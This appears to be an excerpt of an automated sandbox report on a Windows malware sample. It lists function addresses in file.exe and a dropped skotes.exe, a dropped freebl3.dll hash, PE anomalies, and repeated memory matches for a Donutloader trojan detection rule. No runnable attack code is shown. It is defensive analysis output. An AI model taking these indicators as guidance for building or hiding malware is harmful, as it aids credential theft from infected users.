Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB335A0	0_2_6CB335A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB934A0	0_2_6CB934A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9C4A0	0_2_6CB9C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46C80	0_2_6CB46C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76CF0	0_2_6CB76CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3D4E0	0_2_6CB3D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5D4D0	0_2_6CB5D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB464C0	0_2_6CB464C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA542B	0_2_6CBA542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB75C10	0_2_6CB75C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82C10	0_2_6CB82C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAAC00	0_2_6CBAAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA545C	0_2_6CBA545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB45440	0_2_6CB45440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB985F0	0_2_6CB985F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70DD0	0_2_6CB70DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60512	0_2_6CB60512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5ED10	0_2_6CB5ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4FD00	0_2_6CB4FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94EA0	0_2_6CB94EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB55E90	0_2_6CB55E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9E680	0_2_6CB9E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3BEF0	0_2_6CB3BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4FEF0	0_2_6CB4FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA76E3	0_2_6CBA76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB99E30	0_2_6CB99E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77E10	0_2_6CB77E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB85600	0_2_6CB85600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C670	0_2_6CB3C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA6E63	0_2_6CBA6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB59E50	0_2_6CB59E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB73E50	0_2_6CB73E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB54640	0_2_6CB54640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82E4E	0_2_6CB82E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB877A0	0_2_6CB877A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66FF0	0_2_6CB66FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3DFE0	0_2_6CB3DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77710	0_2_6CB77710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB49F00	0_2_6CB49F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB660A0	0_2_6CB660A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5C0E0	0_2_6CB5C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB758E0	0_2_6CB758E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA50C7	0_2_6CBA50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7B820	0_2_6CB7B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB84820	0_2_6CB84820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB47810	0_2_6CB47810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7F070	0_2_6CB7F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58850	0_2_6CB58850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5D850	0_2_6CB5D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6D9B0	0_2_6CB6D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C9A0	0_2_6CB3C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB75190	0_2_6CB75190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB92990	0_2_6CB92990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8B970	0_2_6CB8B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAB170	0_2_6CBAB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4D960	0_2_6CB4D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5A940	0_2_6CB5A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4CAB0	0_2_6CB4CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA2AB0	0_2_6CBA2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB322A0	0_2_6CB322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB64AA0	0_2_6CB64AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBABA90	0_2_6CBABA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB51AF0	0_2_6CB51AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7E2F0	0_2_6CB7E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78AC0	0_2_6CB78AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB79A60	0_2_6CB79A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3F380	0_2_6CB3F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA53C8	0_2_6CBA53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7D320	0_2_6CB7D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C370	0_2_6CB4C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35340	0_2_6CB35340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3ECD0	0_2_6CC3ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDECC0	0_2_6CBDECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA6C00	0_2_6CCA6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEAC60	0_2_6CBEAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBAC30	0_2_6CCBAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE4DB0	0_2_6CBE4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD6CDC0	0_2_6CD6CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC76D90	0_2_6CC76D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0AD50	0_2_6CD0AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAED70	0_2_6CCAED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD68D20	0_2_6CD68D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC80EC0	0_2_6CC80EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC66E90	0_2_6CC66E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEAEC0	0_2_6CBEAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7EE70	0_2_6CC7EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0E20	0_2_6CCC0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEEFB0	0_2_6CBEEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBEFF0	0_2_6CCBEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE0FE0	0_2_6CBE0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD28FB0	0_2_6CD28FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4EF40	0_2_6CC4EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6F10	0_2_6CBE6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA2F70	0_2_6CCA2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD20F20	0_2_6CD20F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCC8C0	0_2_6CCCC8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE68E0	0_2_6CCE68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCB4840	0_2_6CCB4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30820	0_2_6CC30820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6A820	0_2_6CC6A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCFC9E0	0_2_6CCFC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC149F0	0_2_6CC149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC709A0	0_2_6CC709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9A9A0	0_2_6CC9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA09B0	0_2_6CCA09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC18960	0_2_6CC18960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC36900	0_2_6CC36900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5EA80	0_2_6CC5EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5CA70	0_2_6CC5CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC8EA00	0_2_6CC8EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC98A30	0_2_6CC98A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE6BE0	0_2_6CCE6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC80BA0	0_2_6CC80BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC264D0	0_2_6CC264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7A4D0	0_2_6CC7A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0A480	0_2_6CD0A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8460	0_2_6CBF8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC44420	0_2_6CC44420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6A430	0_2_6CC6A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD45B0	0_2_6CBD45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAA5E0	0_2_6CCAA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6E5F0	0_2_6CC6E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD28550	0_2_6CD28550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC38540	0_2_6CC38540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE4540	0_2_6CCE4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC42560	0_2_6CC42560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC80570	0_2_6CC80570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC046D0	0_2_6CC046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3E6E0	0_2_6CC3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7E6E0	0_2_6CC7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3C650	0_2_6CC3C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0A7D0	0_2_6CC0A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC60700	0_2_6CC60700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF00B0	0_2_6CBF00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD8090	0_2_6CBD8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBC0B0	0_2_6CCBC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E070	0_2_6CC2E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAC000	0_2_6CCAC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA8010	0_2_6CCA8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE01E0	0_2_6CBE01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48140	0_2_6CC48140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC56130	0_2_6CC56130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC4130	0_2_6CCC4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD662C0	0_2_6CD662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCB22A0	0_2_6CCB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAE2B0	0_2_6CCAE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC78250	0_2_6CC78250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC68260	0_2_6CC68260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAA210	0_2_6CCAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCB8220	0_2_6CCB8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC343E0	0_2_6CC343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC123A0	0_2_6CC123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3E3B0	0_2_6CC3E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD22370	0_2_6CD22370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCFC360	0_2_6CCFC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC76370	0_2_6CC76370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE2370	0_2_6CBE2370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D3E530	19_2_00D3E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D778BB	19_2_00D778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D77049	19_2_00D77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D78860	19_2_00D78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D34DE0	19_2_00D34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D731A8	19_2_00D731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D72D10	19_2_00D72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D7779B	19_2_00D7779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D67F36	19_2_00D67F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D34B30	19_2_00D34B30

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB6CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB794D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC09B10 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC03620 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD609D0 appears 229 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD6DAE0 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD6D930 appears 41 times

Source: random[2].exe.19.dr	Static PE information: No import functions for PE file found
Source: 1f49a13412.exe.19.dr	Static PE information: No import functions for PE file found

Source: random[2].exe.19.dr	Static PE information: Data appended to the last section found
Source: 1f49a13412.exe.19.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2082859140.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2313
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2303
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2313
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Commandline size = 2303

Source: 0000002F.00000002.3949693249.0000000000310000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000024.00000002.3950928863.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002C.00000002.3950183505.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002E.00000000.2765891846.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001E.00000002.4026201365.0000000008270000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000023.00000002.3952681085.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002E.00000002.3949234425.0000000000D10000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000027.00000002.3949106672.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000027.00000000.2722890872.0000000000CF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002B.00000002.3949944520.0000000000390000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000031.00000002.3950440710.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000032.00000002.3950745908.0000000000680000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000030.00000000.2772382736.0000000000860000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000021.00000002.3949691335.00000000008A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001E.00000000.2669314318.0000000007590000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002E.00000002.3949104288.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001E.00000002.4020661600.0000000007590000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000032.00000000.2778949645.0000000000680000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000022.00000000.2705482772.00000000006D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000038.00000000.2820880841.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000023.00000002.3950430675.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000036.00000000.2805153901.0000000000B00000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000025.00000000.2716581161.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002B.00000000.2748613644.0000000000390000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
